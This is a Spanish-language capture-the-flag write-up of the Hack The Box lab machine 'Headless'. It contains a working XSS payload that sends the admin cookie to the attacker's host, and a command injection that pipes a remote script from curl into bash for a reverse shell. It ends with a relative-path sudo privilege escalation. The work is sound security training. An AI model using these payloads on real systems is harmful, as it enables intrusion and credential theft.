En Headless explotamos una vulnerabilidad XSS que nos permitio obtener la cookie del usuario administrador lo que nos dio acceso al dashboard del sitio, en este, realizamos Command Injection para acceder a la maquina. Finalmente escalamos privilegios tras analizar un script que ejecuta otro sin especificar la ruta completa y, tras crear este fue posible obtener una shell como root.
Nombre |
Headless  |
OS |
Linux  |
Puntos |
Retired |
Dificultad |
Easy |
Fecha de Salida |
2024-03-23 |
IP |
10.10.11.8 |
Maker |
dvir1 |
Rated
|
{
"type": "bar",
"data": {
"labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
"datasets": [{
"label": "User Rated Difficulty",
"data": [1998, 2439, 5705, 3397, 1067, 403, 228, 60, 23, 88],
"backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
}]
},
"options": {
"scales": {
"xAxes": [{"display": false}],
"yAxes": [{"display": false}]
},
"legend": {"labels": {"fontColor": "white"}},
"responsive": true
}
}
|
Recon
nmap
nmap
muestra multiples puertos abiertos: http (80) y ssh (22).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
|
# Nmap 7.94SVN scan initiated Sun Mar 31 20:51:19 2024 as: nmap -p22,5000 -sV -sC -oN nmap_scan 10.10.11.8
Nmap scan report for 10.10.11.8
Host is up (0.066s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
|_ 256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.2.2 Python/3.11.2
| Date: Mon, 01 Apr 2024 00:51:27 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 2799
| Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Under Construction</title>
| <style>
| body {
| font-family: 'Arial', sans-serif;
| background-color: #f7f7f7;
| margin: 0;
| padding: 0;
| display: flex;
| justify-content: center;
| align-items: center;
| height: 100vh;
| .container {
| text-align: center;
| background-color: #fff;
| border-radius: 10px;
| box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2);
| RTSPRequest:
| <!DOCTYPE HTML>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.94SVN%I=7%D=3/31%Time=660A050E%P=x86_64-pc-linux-gnu%r
SF:(GetRequest,BE1,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.2\.2\
SF:x20Python/3\.11\.2\r\nDate:\x20Mon,\x2001\x20Apr\x202024\x2000:51:27\x2
SF:0GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:
SF:\x202799\r\nSet-Cookie:\x20is_admin=InVzZXIi\.uAlmXlTvm8vyihjNaPDWnvB_Z
SF:fs;\x20Path=/\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\
SF:x20lang=\"en\">\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\">\n\
SF:x20\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=device-wid
SF:th,\x20initial-scale=1\.0\">\n\x20\x20\x20\x20<title>Under\x20Construct
SF:ion</title>\n\x20\x20\x20\x20<style>\n\x20\x20\x20\x20\x20\x20\x20\x20b
SF:ody\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-family:\
SF:x20'Arial',\x20sans-serif;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20background-color:\x20#f7f7f7;\n\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20margin:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20padding:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20di
SF:splay:\x20flex;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20justif
SF:y-content:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:align-items:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20height:\x20100vh;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\n\x20\x20\x20\
SF:x20\x20\x20\x20\x20\.container\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20text-align:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20background-color:\x20#fff;\n\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20border-radius:\x2010px;\n\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20box-shadow:\x200px\x200px\x2020px\x20rgba\(0,\x20
SF:0,\x200,\x200\.2\);\n\x20\x20\x20\x20\x20")%r(RTSPRequest,16C,"<!DOCTYP
SF:E\x20HTML>\n<html\x20lang=\"en\">\n\x20\x20\x20\x20<head>\n\x20\x20\x20
SF:\x20\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20\x20\x
SF:20\x20\x20<title>Error\x20response</title>\n\x20\x20\x20\x20</head>\n\x
SF:20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20resp
SF:onse</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</p>
SF:\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20vers
SF:ion\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\
SF:x20code\x20explanation:\x20400\x20-\x20Bad\x20request\x20syntax\x20or\x
SF:20unsupported\x20method\.</p>\n\x20\x20\x20\x20</body>\n</html>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 31 20:52:57 2024 -- 1 IP address (1 host up) scanned in 97.86 seconds
|
Web Site
El sitio unicamente muestra un contador y un boton hacia /support.

En /support muestra un formulario de contacto.

Directory Brute Forcing
feroxbuster
muestra unicamente dos direcciones.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
π ~/htb/headless ❯ feroxbuster -u http://10.10.11.8:5000/ -w $MD
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.10.2
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.11.8:5000/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.10.2
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 GET 93l 179w 2363c http://10.10.11.8:5000/support
200 GET 96l 259w 2799c http://10.10.11.8:5000/
500 GET 5l 37w 265c http://10.10.11.8:5000/dashboard
π ~/htb/headless ❯
|
/dashboard muestra un codigo 401 por lo que probablemente necesitamos acceso como administrador.

XSS - Support
El formulario de /support no muestra ningun mensaje de respuesta. Sin embargo al intentar XSS nos muestra un mensaje, se especifica que se envia un mensaje con informacion del navegador al administrador.

Intentamos XSS por User-agent
asi mismo en el mensaje para producir el error anterior.
1
2
3
4
5
6
7
8
9
10
|
POST /support HTTP/1.1
Host: 10.10.11.8:5000
User-Agent: <script src="http://10.10.14.11/alpha.js"></script>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 140
Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs
Upgrade-Insecure-Requests: 1
fname=Name&lname=LastNAme&email=email%40email.com&phone=1234&message=%3Cscript+src%3D%22http%3A%2F%2F10.10.11.14%2Fs.js%22%3E%3C%2Fscript%3E
|
Observamos en nuestro servidor http una solicitud desde la maquina.
1
2
3
4
5
|
π ~/htb/headless ❯ httphere .
[sudo] password for kali:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.8 - - [31/Mar/2024 22:15:10] code 404, message File not found
10.10.11.8 - - [31/Mar/2024 22:15:10] "GET /alpha.js HTTP/1.1" 404 -
|
Steal Cookie
Con un nuevo payload intentamos obtener el cookie del usuario administrador.
1
|
<script>document.write('<img src="http://10.10.14.11/a?cookie=' + document.cookie + '" />')</script>
|
Luego de enviar el payload obtuvimos una cookie.
1
2
3
4
5
|
π ~/htb/headless ❯ httphere .
[sudo] password for kali:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.8 - - [31/Mar/2024 22:19:13] code 404, message File not found
10.10.11.8 - - [31/Mar/2024 22:19:13] "GET /a?cookie=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 404 -
|
Cambiamos el cookie y logramos acceder a /dashboard, observamos un generador de reporte.

Command Injection
El formulario del reporte “generado” en /dashboard unicamente envia una fecha.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
POST /dashboard HTTP/1.1
Host: 10.10.11.8:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
Origin: http://10.10.11.8:5000
Connection: close
Referer: http://10.10.11.8:5000/dashboard
Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
Upgrade-Insecure-Requests: 1
date=2023-09-15
|
Intentamos agregar un comando en la fecha y observamos la ejecucion exitosa.

User - Dvir
Ejecutamos una shell inversa con shells.
1
|
date=2020-09-15;`curl 10.10.14.11:8000/10.10.14.11:1335 | bash`
|
Obtuvimos una shell como dvir y realizamos la lectura de user.txt
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
π ~/htb/headless ❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
10.10.11.8: inverse host lookup failed: Unknown host
connect to [10.10.14.11] from (UNKNOWN) [10.10.11.8] 53918
/bin/sh: 0: can't access tty; job control turned off
$ which python
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
dvir@headless:~/app$ ls
app.py hackattempt.html index.html report.sh
dashboard.html hacking_reports inspect_reports.py support.html
dvir@headless:~/app$ cd
dvir@headless:~$ ls
app geckodriver.log user.txt
dvir@headless:~$ cat user.txt
011b88832250ec70d3e2805905dea14f
dvir@headless:~$
|
Privesc
Observamos que dvir puede ejecutar syscheck
como root.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
dvir@headless:~$ sudo -l -l
sudo -l -l
Matching Defaults entries for dvir on headless:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User dvir may run the following commands on headless:
Sudoers entry:
RunAsUsers: ALL
Options: !authenticate
Commands:
/usr/bin/syscheck
dvir@headless:~$
|
Al ejecutar el script muestra informacion del sistema.
1
2
3
4
5
6
7
|
dvir@headless:~$ sudo /usr/bin/syscheck
sudo /usr/bin/syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 2.0G
System load average: 0.07, 0.03, 0.00
Database service is not running. Starting it...
dvir@headless:~$
|
En el script observamos la ejecucion de multipes comandos, pero al final se observa la ejecucion de initdb.sh
el cual no tiene la ruta especificada, por lo que podriamos crear el archivo y ejecutar cualquier comando como root dentro de este.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
#!/bin/bash
if [ "$EUID" -ne 0 ]; then
exit 1
fi
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi
exit 0
|
Creamos dicho archivo para ejecutar bash.
1
2
3
4
5
|
dvir@headless:~$ echo -e "#\!/bin/bash\n/bin/bash" > initdb.sh
dvir@headless:~$ cat initdb.sh
#\!/bin/bash
/bin/bash
dvir@headless:~$ chmod +x initdb.sh
|
Tras ejecutar syscheck observamos que ejecutamos bash como root y obtuvimos acceso a nuestra flag root.txt
.
1
2
3
4
5
6
7
8
9
10
11
12
|
dvir@headless:~$ sudo /usr/bin/syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 1.7G
System load average: 0.67, 0.41, 0.31
Database service is not running. Starting it...
id
uid=0(root) gid=0(root) groups=0(root)
cd /root
ls
root.txt
cat root.txt
2f42a407bb293862e3e1eee017632f9e
|